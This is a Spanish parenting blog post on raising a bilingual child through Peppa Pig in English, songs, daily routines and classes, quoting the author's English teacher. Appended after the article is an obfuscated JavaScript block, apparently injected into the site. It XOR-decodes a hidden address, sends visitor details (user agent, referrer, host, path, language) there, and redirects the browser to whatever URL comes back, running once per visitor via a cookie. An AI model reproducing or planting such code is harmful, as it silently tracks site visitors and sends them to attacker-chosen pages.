Conversación con las mamás del parque: ¿A qué extraescolar llevas a tu hijo? A inglés. Charla con las del colegio a principios de curso: ¿Sabes ya a qué vas a apuntar a tu hijo? Sí, a inglés. Misma situación, pero esta vez con las vecinas en la zona común de nuestro bloque: ¿Has apuntado a la niña a ballet? Sí, a ballet y a inglés. Conclusión: si hay algo que nos preocupa a los padres de mi generación es que sus hijos aprendan inglés.
Si calculase el dinero que mis padres han invertido en mí para que aprenda inglés (y todavía estoy con clases) creo que habría suficiente como para, mínimo, renovar mi actual coche. Por eso cuando nació Elena, mi marido y yo tuvimos clara una cosa: íbamos a poner todo de nuestra parte para que el inglés no fuera para ella una obligación, sino más bien un placer y algo que formara parte de su vida sin apenas dedicarle esfuerzo.
Así empezamos y así continuamos, porque Alicia Carritt (alicia.carritt@gmail.com), mi profe de inglés desde hace cinco años y con experiencia en niños y adultos, me lo ha recomendado: “Lo más importante es conseguir que aprender resulte divertido. También es importante que los niños se interesen por conocer el idioma. Usar juegos, canciones, cuentos antes de dormir, nombrar animales o ver sus dibujos animados en inglés”.
En nuestro caso, y desde que empezó a ser consumidora televisiva, le ponemos Peppa Pig en versión original, y con este gesto tan sencillo hemos conseguido cosas tan ‘extrañas’, o que yo al menos nunca hubiese imaginado, como que Elena juegue a la casa de Peppa Pig en la lengua de Shakespeare y haga un Spanish-English. Y está claro por qué lo hace, imitación. Ella lo ve siempre en inglés y le parece lo más normal del mundo dirigirse al cerdito rosa en su idioma.
Hablo de que ve la televisión en inglés, pero repetimos el mismo modelo con las canciones de sus artistas favoritos. Y es que en casa no sabemos qué es Suéltalo, ella siempre dice Let it go, refiriéndonos al tema principal de Frozen. Aquí también entra en juego el papel que estamos desarrollando como padres de involucrarnos con ella en el aprendizaje de una lengua extranjera, y si hay que cantar en inglés, lo hacemos. “Aprender cualquier idioma es un compromiso. Puede resultar agobiante, ya que en el pasado no teníamos las mismas herramientas que hoy en día. Si el niño ve tu compromiso y la importancia que das al idioma, podrás ser capaz de transmitírselo. Piensa que le estás dando un regalo increíble, abriéndole las puertas a otro mundo. Si lo tratas así y además le resulta divertido, te sorprenderá muy pronto diciendo: “Thank you, mum!”, comenta mi profe de inglés cuando le cuento mi experiencia y le pido consejo para transmitirlo a través de este post a otros padres preocupados por este tema.
Otro motivo que creo que ha influido para que Elena no rechace el inglés es que nosotros chapurreamos con ella. Palabras sueltas, como hello, good night, thank you, water please, y según han pasado los años, algo más complejo como What’s your name? Mi consejo, en este caso, es no lo dudes y lánzate. Si tú no lo rechazas, ellos tampoco. Y aprovecha las rutinas diarias que tengáis establecidas. Eso sí, como dice Alicia: “¡No vale con hacerlo una vez! Para que lo niños se acostumbren a los sonidos y a los significados hace falta repetir, repetir, repetir”.
Todo esto lo completamos con clases de inglés particulares un día a la semana en una academia con más niños, con asistencia a un colegio concertado bilingüe del barrio, con visitas a cuentacuentos u obras de teatro en inglés… ¡todo a su ritmo y sin presiones! En casa nos reímos porque mi marido dice que tenemos que aprender inglés solo para poder hablar con las niñas. Espero que la pequeña de apenas un año saque provecho de lo que ya llevamos ganado con la mayor.
var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}